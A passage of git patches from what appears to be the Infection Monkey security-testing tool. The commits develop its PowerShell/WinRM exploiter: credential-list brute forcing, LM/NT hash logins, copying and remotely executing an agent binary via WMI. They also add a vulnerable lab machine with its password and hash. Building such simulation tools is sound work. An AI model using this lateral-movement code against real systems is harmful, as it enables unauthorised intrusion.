f"Host: {self._ip_addr}, Command: {cmd}" + ) + with self._client.wsman, RunspacePool(self._client.wsman) as pool: + ps = PowerShell(pool) + ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter( + "name", "create" + ).add_parameter("ArgumentList", cmd) + ps.invoke() diff --git a/monkey/infection_monkey/exploit/powershell_utils/utils.py b/monkey/infection_monkey/exploit/powershell_utils/utils.py index 642394a62..4c0ab3dce 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/utils.py +++ b/monkey/infection_monkey/exploit/powershell_utils/utils.py @@ -1,8 +1,3 @@ -from pypsrp.client import Client -from typing_extensions import Protocol - -from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions -from infection_monkey.exploit.powershell_utils.credentials import Credentials from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost from infection_monkey.utils.commands import build_monkey_commandline @@ -20,26 +15,3 @@ def build_monkey_execution_command(host: VictimHost, depth: int, executable_path "monkey_type": DROPPER_ARG, "parameters": monkey_params, } - - -CONNECTION_TIMEOUT = 3 # Seconds - - -class IClient(Protocol): - def execute_cmd(self, cmd: str): - pass - - -def get_client_based_on_auth_options( - ip_addr: str, credentials: Credentials, auth_options: AuthOptions -) -> IClient: - return Client( - ip_addr, - username=credentials.username, - password=credentials.password, - cert_validation=False, - auth=auth_options.auth_type, - encryption=auth_options.encryption, - ssl=auth_options.ssl, - connection_timeout=CONNECTION_TIMEOUT, - ) From cd9d5b4c5e673717e903361d3d2610b01e736d8a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 1 Sep 2021 18:22:17 +0200 Subject: [PATCH 120/454] Agent: Change trap command signal to TERM --- CHANGELOG.md | 8 +++++--- .../post_breach/actions/use_trap_command.py | 2 +- .../post_breach/trap_command/linux_trap_command.py | 6 +++--- .../config_schema/definitions/post_breach_actions.py | 2 +- 4 files changed, 10 insertions(+), 8 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 142a9029c..bfaa62352 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -28,9 +28,11 @@ Changelog](https://keepachangelog.com/en/1.0.0/). language systems. #1175 - Malfunctioning timestomping PBA. #1405 - Malfunctioning shell startup script PBA. #1419 +- Trap command produced no output. #1406 ### Security -- Generate a random password when creating a new user for CommunicateAsNewUser PBA. #1434 +- Generate a random password when creating a new user for CommunicateAsNewUser + PBA. #1434 ## [1.11.0] - 2021-08-13 ### Added @@ -62,8 +64,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). instead of $HOME. #1143 - Put environment config options in `server_config.json` into a separate section named "environment". #1161 -- Automatically register if BlackBox tests are run on a fresh installation. - #1180 +- Automatically register if BlackBox tests are run on a fresh + installation. #1180 - Limit the ports used for scanning in blackbox tests. #1368 - Limit the propagation depth of most blackbox tests. #1400 - Wait less time for monkeys to die when running BlackBox tests. #1400 diff --git a/monkey/infection_monkey/post_breach/actions/use_trap_command.py b/monkey/infection_monkey/post_breach/actions/use_trap_command.py index 9f6afc829..879db77bf 100644 --- a/monkey/infection_monkey/post_breach/actions/use_trap_command.py +++ b/monkey/infection_monkey/post_breach/actions/use_trap_command.py @@ -6,4 +6,4 @@ from infection_monkey.post_breach.trap_command.trap_command import get_trap_comm class TrapCommand(PBA): def __init__(self): linux_cmds = get_trap_commands() - super(TrapCommand, self).__init__(POST_BREACH_TRAP_COMMAND, linux_cmd=linux_cmds) + super(TrapCommand, self).__init__(POST_BREACH_TRAP_COMMAND, linux_cmd=" ".join(linux_cmds)) diff --git a/monkey/infection_monkey/post_breach/trap_command/linux_trap_command.py b/monkey/infection_monkey/post_breach/trap_command/linux_trap_command.py index 75d545140..5b8daf24f 100644 --- a/monkey/infection_monkey/post_breach/trap_command/linux_trap_command.py +++ b/monkey/infection_monkey/post_breach/trap_command/linux_trap_command.py @@ -1,6 +1,6 @@ def get_linux_trap_commands(): return [ - # trap and send SIGINT signal - "trap 'echo \"Successfully used trap command\"' INT && kill -2 $$ ;", - "trap - INT", # untrap SIGINT + # trap and send SIGTERM signal + "trap 'echo \"Successfully used trap command\"' TERM && kill -15 $$ ;", + "trap - TERM", # untrap SIGTERM ] diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py index 88a3e8cb5..be1aa802b 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py @@ -39,7 +39,7 @@ POST_BREACH_ACTIONS = { "enum": ["TrapCommand"], "title": "Trap", "safe": True, - "info": "On Linux systems, attempts to trap an interrupt signal in order " + "info": "On Linux systems, attempts to trap a terminate signal in order " "to execute a command " "upon receiving that signal. Removes the trap afterwards.", "attack_techniques": ["T1154"], From 8144a3334e241b662d90c0d19db71c370eceed67 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Sep 2021 10:05:08 -0400 Subject: [PATCH 121/454] Tests: Add HTTP vs HTPS unit tests for PowerShellExploiter --- .../exploit/test_powershell.py | 68 +++++++++++++++++++ 1 file changed, 68 insertions(+) create mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py new file mode 100644 index 000000000..b889e7385 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -0,0 +1,68 @@ +from collections import namedtuple +from unittest.mock import MagicMock + +import pytest + +from infection_monkey.exploit import powershell +from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.credentials import Credentials +from infection_monkey.model.host import VictimHost + +USER_LIST = ["user1", "user2"] +PASSWORD_LIST = ["pass1", "pass2"] + +Config = namedtuple("Config", ["exploit_user_list", "exploit_password_list"]) + + +class TestAuthenticationError(Exception): + pass + + +@pytest.fixture +def powershell_exploiter(monkeypatch): + host = VictimHost("127.0.0.1") + pe = powershell.PowerShellExploiter(host) + pe._config = Config(USER_LIST, PASSWORD_LIST) + + monkeypatch.setattr(powershell, "AuthenticationError", TestAuthenticationError) + + return pe + + +def test_powershell_disabled(monkeypatch, powershell_exploiter): + mock_powershell_client = MagicMock(side_effect=Exception) + monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + + success = powershell_exploiter.exploit_host() + assert not success + + +def test_powershell_http(monkeypatch, powershell_exploiter): + def allow_http(_, credentials: Credentials, auth_options: AuthOptions): + if not auth_options.ssl: + raise TestAuthenticationError + else: + raise Exception + + mock_powershell_client = MagicMock(side_effect=allow_http) + monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + powershell_exploiter.exploit_host() + + for call_args in mock_powershell_client.call_args_list: + assert not call_args[0][2].ssl + + +def test_powershell_https(monkeypatch, powershell_exploiter): + def allow_https(_, credentials: Credentials, auth_options: AuthOptions): + if auth_options.ssl: + raise TestAuthenticationError + else: + raise Exception + + mock_powershell_client = MagicMock(side_effect=allow_https) + monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + powershell_exploiter.exploit_host() + + for call_args in mock_powershell_client.call_args_list: + if call_args[0][1].password != "" and call_args[0][1].password != "dummy_password": + assert call_args[0][2].ssl From 18c21513afe3f09e7789d610b827187ca833dc37 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 2 Sep 2021 17:06:22 +0200 Subject: [PATCH 122/454] Zoo: Add new machine for powershell exploiter --- .../blackbox/config_templates/powershell.py | 5 ++- .../blackbox/gcp_test_machine_list.py | 1 + envs/monkey_zoo/docs/fullDocs.md | 37 +++++++++++++++++-- envs/monkey_zoo/terraform/images.tf | 4 ++ envs/monkey_zoo/terraform/monkey_zoo.tf | 15 ++++++++ 5 files changed, 57 insertions(+), 5 deletions(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/powershell.py b/envs/monkey_zoo/blackbox/config_templates/powershell.py index e6d2467ab..4ca0863dd 100644 --- a/envs/monkey_zoo/blackbox/config_templates/powershell.py +++ b/envs/monkey_zoo/blackbox/config_templates/powershell.py @@ -10,12 +10,15 @@ class PowerShell(ConfigTemplate): config_values.update( { "basic.exploiters.exploiter_classes": ["PowerShellExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.3.45", "10.2.3.46"], + "basic_network.scope.subnet_scan_list": ["10.2.3.45", "10.2.3.46", "10.2.3.47"], "basic.credentials.exploit_password_list": ["Passw0rd!"], "basic_network.scope.depth": 2, "basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user"], "internal.classes.finger_classes": ["PingScanner"], "internal.network.tcp_scanner.HTTP_PORTS": [], "internal.network.tcp_scanner.tcp_target_ports": [], + "internal.classes.exploits.exploit_ntlm_hash_list": [ + "d0f0132b308a0c4e5d1029cc06f48692", + ], } ) diff --git a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py index 86999ab6d..968e2026d 100644 --- a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py +++ b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py @@ -24,5 +24,6 @@ GCP_TEST_MACHINE_LIST = { "europe-west1-b": [ "powershell-3-45", "powershell-3-46", + "powershell-3-47", ], } diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 80ecf5f55..4008b464d 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -33,8 +33,9 @@ This document describes Infection Monkey’s test network, how to deploy and use [Nr. 25 Zerologon](#_Toc536021478)
    [Nr. 3-45 Powershell](#_Toc536021479)
    [Nr. 3-46 Powershell](#_Toc536021480)
    -[Nr. 250 MonkeyIsland](#_Toc536021481)
    -[Nr. 251 MonkeyIsland](#_Toc536021482)
    +[Nr. 3-47 Powershell](#_Toc536021481)
    +[Nr. 250 MonkeyIsland](#_Toc536021482)
    +[Nr. 251 MonkeyIsland](#_Toc536021483)
    [Network topography](#network-topography)
    # Warning\! @@ -1142,7 +1143,35 @@ fullTest.conf is a good config to start, because it covers all machines. - + + + + + + + + + + + + + + + + + + + + + +

    Nr. 250 MonkeyIsland

    +

    Nr. 3-47 Powershell

    +

    (10.2.3.47)

    (Vulnerable)
    OS:Windows Server 2016 x64
    Software:WinRM service
    Default server’s port:-
    Notes:User: m0nk3y, Password: Xk8VDTsC
    + + + + + @@ -1174,7 +1203,7 @@ fullTest.conf is a good config to start, because it covers all machines.

    Nr. 250 MonkeyIsland

    (10.2.2.250)

    - diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index 3f293736d..949aa50ac 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -57,6 +57,10 @@ data "google_compute_image" "mssql-16" { name = "mssql-16" project = local.monkeyzoo_project } +data "google_compute_image" "powershell-3-47" { + name = "powershell-3-47" + project = local.monkeyzoo_project +} data "google_compute_image" "powershell-3-46" { name = "powershell-3-46" project = local.monkeyzoo_project diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index 241828557..ffa5efbe1 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -313,6 +313,21 @@ resource "google_compute_instance_from_template" "mssql-16" { } } +resource "google_compute_instance_from_template" "powershell-3-47" { + name = "${local.resource_prefix}powershell-3-47" + source_instance_template = local.default_windows + boot_disk{ + initialize_params { + image = data.google_compute_image.powershell-3-47.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main-1" + network_ip="10.2.3.47" + } +} + resource "google_compute_instance_from_template" "powershell-3-46" { name = "${local.resource_prefix}powershell-3-46" source_instance_template = local.default_windows From 936074605ff26a02022d81a64c68c1160d89bf1f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Sep 2021 11:52:35 -0400 Subject: [PATCH 123/454] Agent: Ensure temp file is removed by PowerShellExploiter --- monkey/infection_monkey/exploit/powershell.py | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index c9835566e..9e3d3d5dc 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -144,14 +144,18 @@ class PowerShellExploiter(HostExploiter): return True def _copy_monkey_binary_to_victim(self, monkey_path_on_victim) -> bool: - self._write_virtual_file_to_local_path() + try: + self._write_virtual_file_to_local_path() - logger.info(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}") - is_monkey_copy_successful = self._client.copy_file( - TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim - ) - - os.remove(TEMP_MONKEY_BINARY_FILEPATH) + logger.info(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}") + is_monkey_copy_successful = self._client.copy_file( + TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim + ) + except Exception as ex: + raise ex + finally: + if os.path.isfile(TEMP_MONKEY_BINARY_FILEPATH): + os.remove(TEMP_MONKEY_BINARY_FILEPATH) return is_monkey_copy_successful From 023d6a2d044d7b62ede142353656974e2dc44ab4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Sep 2021 11:54:22 -0400 Subject: [PATCH 124/454] Tests: Add more tests for PowerShellExploiter --- .../exploit/test_powershell.py | 79 ++++++++++++++++++- 1 file changed, 77 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index b889e7385..3d14d2d67 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -4,14 +4,25 @@ from unittest.mock import MagicMock import pytest from infection_monkey.exploit import powershell +from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions from infection_monkey.exploit.powershell_utils.credentials import Credentials from infection_monkey.model.host import VictimHost USER_LIST = ["user1", "user2"] PASSWORD_LIST = ["pass1", "pass2"] +DROPPER_TARGET_PATH_32 = "C:\\agent32" +DROPPER_TARGET_PATH_64 = "C:\\agent64" -Config = namedtuple("Config", ["exploit_user_list", "exploit_password_list"]) +Config = namedtuple( + "Config", + [ + "exploit_user_list", + "exploit_password_list", + "dropper_target_path_win_32", + "dropper_target_path_win_64", + ], +) class TestAuthenticationError(Exception): @@ -22,9 +33,12 @@ class TestAuthenticationError(Exception): def powershell_exploiter(monkeypatch): host = VictimHost("127.0.0.1") pe = powershell.PowerShellExploiter(host) - pe._config = Config(USER_LIST, PASSWORD_LIST) + pe._config = Config(USER_LIST, PASSWORD_LIST, DROPPER_TARGET_PATH_32, DROPPER_TARGET_PATH_64) monkeypatch.setattr(powershell, "AuthenticationError", TestAuthenticationError) + # It's regrettable to mock out a private method on the PowerShellExploiter instance object, but + # it's necessary to avoid having to deal with the monkeyfs + monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None) return pe @@ -66,3 +80,64 @@ def test_powershell_https(monkeypatch, powershell_exploiter): for call_args in mock_powershell_client.call_args_list: if call_args[0][1].password != "" and call_args[0][1].password != "dummy_password": assert call_args[0][2].ssl + + +def test_no_valid_credentials(monkeypatch, powershell_exploiter): + mock_powershell_client = MagicMock(side_effect=TestAuthenticationError) + monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + + success = powershell_exploiter.exploit_host() + assert not success + + +def authenticate(mock_client): + def inner(_, credentials: Credentials, auth_options: AuthOptions): + if credentials.username == "user1" and credentials.password == "pass2": + return mock_client + else: + raise TestAuthenticationError("Invalid credentials") + + return inner + + +@pytest.mark.parametrize( + "dropper_target_path,arch", + [(DROPPER_TARGET_PATH_32, WIN_ARCH_32), (DROPPER_TARGET_PATH_64, WIN_ARCH_64)], +) +def test_successful_copy(monkeypatch, powershell_exploiter, dropper_target_path, arch): + mock_client = MagicMock() + mock_client.get_host_architecture = lambda: arch + mock_client.copy_file = MagicMock(return_value=True) + + mock_powershell_client = MagicMock(side_effect=authenticate(mock_client)) + monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + + success = powershell_exploiter.exploit_host() + + assert dropper_target_path in mock_client.copy_file.call_args[0][1] + assert success + + +def test_failed_copy(monkeypatch, powershell_exploiter): + mock_client = MagicMock() + mock_client.get_host_architecture = lambda: WIN_ARCH_32 + mock_client.copy_file = MagicMock(return_value=False) + + mock_powershell_client = MagicMock(side_effect=authenticate(mock_client)) + monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + + success = powershell_exploiter.exploit_host() + assert not success + + +def test_failed_monkey_execution(monkeypatch, powershell_exploiter): + mock_client = MagicMock() + mock_client.get_host_architecture = lambda: WIN_ARCH_32 + mock_client.copy_file = MagicMock(return_value=True) + mock_client.execute_cmd_as_detached_process = MagicMock(side_effect=Exception) + + mock_powershell_client = MagicMock(side_effect=authenticate(mock_client)) + monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + + success = powershell_exploiter.exploit_host() + assert not success From 3a6f725cc4d1edd36a3032e8b0278f90d89efa0b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Sep 2021 12:02:30 -0400 Subject: [PATCH 125/454] Agent: Rename Credentials.password to Credentials.secret The PowerShell Credentials dataclass will hold more than just passwords. It will also hold NT and LM hashes. "secret" is, therefore, a more accurate name than "password". --- monkey/infection_monkey/exploit/powershell.py | 6 +++--- .../exploit/powershell_utils/auth_options.py | 6 +++--- .../exploit/powershell_utils/credentials.py | 10 ++++------ .../powershell_utils/powershell_client.py | 2 +- .../exploit/powershell_utils/test_credentials.py | 16 ++++++++-------- .../infection_monkey/exploit/test_powershell.py | 4 ++-- 6 files changed, 21 insertions(+), 23 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 9e3d3d5dc..6bfabb1e2 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -88,7 +88,7 @@ class PowerShellExploiter(HostExploiter): def _try_ssl_login(self, use_ssl: bool): credentials = Credentials( username="dummy_username", - password="dummy_password", + secret="dummy_password", ) auth_options = AuthOptions( @@ -110,7 +110,7 @@ class PowerShellExploiter(HostExploiter): f"Successfully logged into {self.host.ip_addr} using Powershell. User: " f"{creds.username}" ) - self.report_login_attempt(True, creds.username, creds.password) + self.report_login_attempt(True, creds.username, creds.secret) return client except Exception as ex: # noqa: F841 @@ -118,7 +118,7 @@ class PowerShellExploiter(HostExploiter): f"Error logging into {self.host.ip_addr} using Powershell. User: " f"{creds.username}, Error: {ex}" ) - self.report_login_attempt(False, creds.username, creds.password) + self.report_login_attempt(False, creds.username, creds.secret) return None diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py index a9c34e2cf..ad770de3c 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py @@ -21,9 +21,9 @@ def get_auth_options(credentials: List[Credentials], use_ssl: bool) -> List[Auth for creds in credentials: # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER - ssl = False if creds.password == "" else use_ssl - auth_type = AUTH_BASIC if creds.password == "" else AUTH_NEGOTIATE - encryption = ENCRYPTION_NEVER if creds.password == "" else ENCRYPTION_AUTO + ssl = False if creds.secret == "" else use_ssl + auth_type = AUTH_BASIC if creds.secret == "" else AUTH_NEGOTIATE + encryption = ENCRYPTION_NEVER if creds.secret == "" else ENCRYPTION_AUTO auth_options.append(AuthOptions(auth_type, encryption, ssl)) diff --git a/monkey/infection_monkey/exploit/powershell_utils/credentials.py b/monkey/infection_monkey/exploit/powershell_utils/credentials.py index a04d9f395..ab3c7f542 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/credentials.py +++ b/monkey/infection_monkey/exploit/powershell_utils/credentials.py @@ -6,7 +6,7 @@ from typing import List, Union @dataclass class Credentials: username: Union[str, None] - password: Union[str, None] + secret: Union[str, None] def get_credentials( @@ -24,7 +24,7 @@ def get_credentials( # will be used to attempt to log into the victim. def _get_empty_credentials(is_windows: bool) -> List[Credentials]: if is_windows: - return [Credentials(username=None, password=None)] + return [Credentials(username=None, secret=None)] return [] @@ -32,12 +32,10 @@ def _get_empty_credentials(is_windows: bool) -> List[Credentials]: # On Windows systems, when password == None, the current user's password will bu used to attempt to # log into the victim. def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[Credentials]: - credentials = [Credentials(username=username, password="") for username in usernames] + credentials = [Credentials(username=username, secret="") for username in usernames] if is_windows: - credentials.extend( - [Credentials(username=username, password=None) for username in usernames] - ) + credentials.extend([Credentials(username=username, secret=None) for username in usernames]) return credentials diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py index 7f0b548b1..7971e7256 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -53,7 +53,7 @@ class PowerShellClient(IPowerShellClient): self._client = Client( ip_addr, username=credentials.username, - password=credentials.password, + password=credentials.secret, cert_validation=False, auth=auth_options.auth_type, encryption=auth_options.encryption, diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py index f1913169c..64a13a5e5 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py @@ -8,7 +8,7 @@ def test_get_credentials__empty_windows_true(): credentials = get_credentials([], [], True) assert len(credentials) == 1 - assert credentials[0] == Credentials(username=None, password=None) + assert credentials[0] == Credentials(username=None, secret=None) def test_get_credentials__empty_windows_false(): @@ -21,18 +21,18 @@ def test_get_credentials__username_only_windows_true(): credentials = get_credentials(TEST_USERNAMES, [], True) assert len(credentials) == 5 - assert Credentials(username=TEST_USERNAMES[0], password="") in credentials - assert Credentials(username=TEST_USERNAMES[1], password="") in credentials - assert Credentials(username=TEST_USERNAMES[0], password=None) in credentials - assert Credentials(username=TEST_USERNAMES[1], password=None) in credentials + assert Credentials(username=TEST_USERNAMES[0], secret="") in credentials + assert Credentials(username=TEST_USERNAMES[1], secret="") in credentials + assert Credentials(username=TEST_USERNAMES[0], secret=None) in credentials + assert Credentials(username=TEST_USERNAMES[1], secret=None) in credentials def test_get_credentials__username_only_windows_false(): credentials = get_credentials(TEST_USERNAMES, [], False) assert len(credentials) == 2 - assert Credentials(username=TEST_USERNAMES[0], password="") in credentials - assert Credentials(username=TEST_USERNAMES[1], password="") in credentials + assert Credentials(username=TEST_USERNAMES[0], secret="") in credentials + assert Credentials(username=TEST_USERNAMES[1], secret="") in credentials def test_get_credentials__username_password_windows_true(): @@ -41,4 +41,4 @@ def test_get_credentials__username_password_windows_true(): assert len(credentials) == 9 for user in TEST_USERNAMES: for password in TEST_PASSWORDS: - assert Credentials(username=user, password=password) in credentials + assert Credentials(username=user, secret=password) in credentials diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index 3d14d2d67..da709ad04 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -78,7 +78,7 @@ def test_powershell_https(monkeypatch, powershell_exploiter): powershell_exploiter.exploit_host() for call_args in mock_powershell_client.call_args_list: - if call_args[0][1].password != "" and call_args[0][1].password != "dummy_password": + if call_args[0][1].secret != "" and call_args[0][1].secret != "dummy_password": assert call_args[0][2].ssl @@ -92,7 +92,7 @@ def test_no_valid_credentials(monkeypatch, powershell_exploiter): def authenticate(mock_client): def inner(_, credentials: Credentials, auth_options: AuthOptions): - if credentials.username == "user1" and credentials.password == "pass2": + if credentials.username == "user1" and credentials.secret == "pass2": return mock_client else: raise TestAuthenticationError("Invalid credentials") From a2e6b0bfbd5dbc3062daf0e64141a08eb0f94fd3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Sep 2021 12:29:49 -0400 Subject: [PATCH 126/454] Agent: Add LM and NT hashes to PowerShell Credentials Adds two list parameters to get_credentials() that contain LM and NT hashes respectively. Adds a "secret_type" field to Credentials so that the user of the Credentials object can distinguish between using cached credentials (on windows), passwords, and NT or LM hashes. --- monkey/infection_monkey/exploit/powershell.py | 13 ++- .../exploit/powershell_utils/credentials.py | 56 +++++++++++-- .../powershell_utils/test_auth_options.py | 8 +- .../powershell_utils/test_credentials.py | 81 +++++++++++++++---- 4 files changed, 132 insertions(+), 26 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 6bfabb1e2..c20580989 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -13,7 +13,11 @@ from infection_monkey.exploit.powershell_utils.auth_options import ( AuthOptions, get_auth_options, ) -from infection_monkey.exploit.powershell_utils.credentials import Credentials, get_credentials +from infection_monkey.exploit.powershell_utils.credentials import ( + Credentials, + SecretType, + get_credentials, +) from infection_monkey.exploit.powershell_utils.powershell_client import ( AuthenticationError, IPowerShellClient, @@ -49,7 +53,11 @@ class PowerShellExploiter(HostExploiter): return False credentials = get_credentials( - self._config.exploit_user_list, self._config.exploit_password_list, is_windows_os() + self._config.exploit_user_list, + self._config.exploit_password_list, + [], + [], + is_windows_os(), ) auth_options = get_auth_options(credentials, is_https) @@ -89,6 +97,7 @@ class PowerShellExploiter(HostExploiter): credentials = Credentials( username="dummy_username", secret="dummy_password", + secret_type=SecretType.PASSWORD, ) auth_options = AuthOptions( diff --git a/monkey/infection_monkey/exploit/powershell_utils/credentials.py b/monkey/infection_monkey/exploit/powershell_utils/credentials.py index ab3c7f542..982f9da29 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/credentials.py +++ b/monkey/infection_monkey/exploit/powershell_utils/credentials.py @@ -1,21 +1,36 @@ from dataclasses import dataclass +from enum import Enum from itertools import product from typing import List, Union +class SecretType(Enum): + CACHED = 1 + PASSWORD = 2 + LM_HASH = 3 + NT_HASH = 4 + + @dataclass class Credentials: username: Union[str, None] secret: Union[str, None] + secret_type: SecretType def get_credentials( - usernames: List[str], passwords: List[str], is_windows: bool + usernames: List[str], + passwords: List[str], + lm_hashes: List[str], + nt_hashes: List[str], + is_windows: bool, ) -> List[Credentials]: credentials = [] credentials.extend(_get_empty_credentials(is_windows)) credentials.extend(_get_username_only_credentials(usernames, is_windows)) credentials.extend(_get_username_password_credentials(usernames, passwords)) + credentials.extend(_get_username_lm_hash_credentials(usernames, lm_hashes)) + credentials.extend(_get_username_nt_hash_credentials(usernames, nt_hashes)) return credentials @@ -24,7 +39,7 @@ def get_credentials( # will be used to attempt to log into the victim. def _get_empty_credentials(is_windows: bool) -> List[Credentials]: if is_windows: - return [Credentials(username=None, secret=None)] + return [Credentials(username=None, secret=None, secret_type=SecretType.CACHED)] return [] @@ -32,10 +47,18 @@ def _get_empty_credentials(is_windows: bool) -> List[Credentials]: # On Windows systems, when password == None, the current user's password will bu used to attempt to # log into the victim. def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[Credentials]: - credentials = [Credentials(username=username, secret="") for username in usernames] + credentials = [ + Credentials(username=username, secret="", secret_type=SecretType.PASSWORD) + for username in usernames + ] if is_windows: - credentials.extend([Credentials(username=username, secret=None) for username in usernames]) + credentials.extend( + [ + Credentials(username=username, secret=None, secret_type=SecretType.CACHED) + for username in usernames + ] + ) return credentials @@ -43,6 +66,27 @@ def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> Li def _get_username_password_credentials( usernames: List[str], passwords: List[str] ) -> List[Credentials]: - username_password_pairs = product(usernames, passwords) + return _get_username_secret_credentials(usernames, passwords, SecretType.PASSWORD) - return [Credentials(credentials[0], credentials[1]) for credentials in username_password_pairs] + +def _get_username_lm_hash_credentials( + usernames: List[str], lm_hashes: List[str] +) -> List[Credentials]: + return _get_username_secret_credentials(usernames, lm_hashes, SecretType.LM_HASH) + + +def _get_username_nt_hash_credentials( + usernames: List[str], nt_hashes: List[str] +) -> List[Credentials]: + return _get_username_secret_credentials(usernames, nt_hashes, SecretType.NT_HASH) + + +def _get_username_secret_credentials( + usernames: List[str], secrets: List[str], secret_type: SecretType +) -> List[Credentials]: + username_secret_pairs = product(usernames, secrets) + + return [ + Credentials(credentials[0], credentials[1], secret_type) + for credentials in username_secret_pairs + ] diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py index 0a917adac..d19fffbd0 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py @@ -6,12 +6,12 @@ from infection_monkey.exploit.powershell_utils.auth_options import ( ENCRYPTION_NEVER, get_auth_options, ) -from infection_monkey.exploit.powershell_utils.credentials import Credentials +from 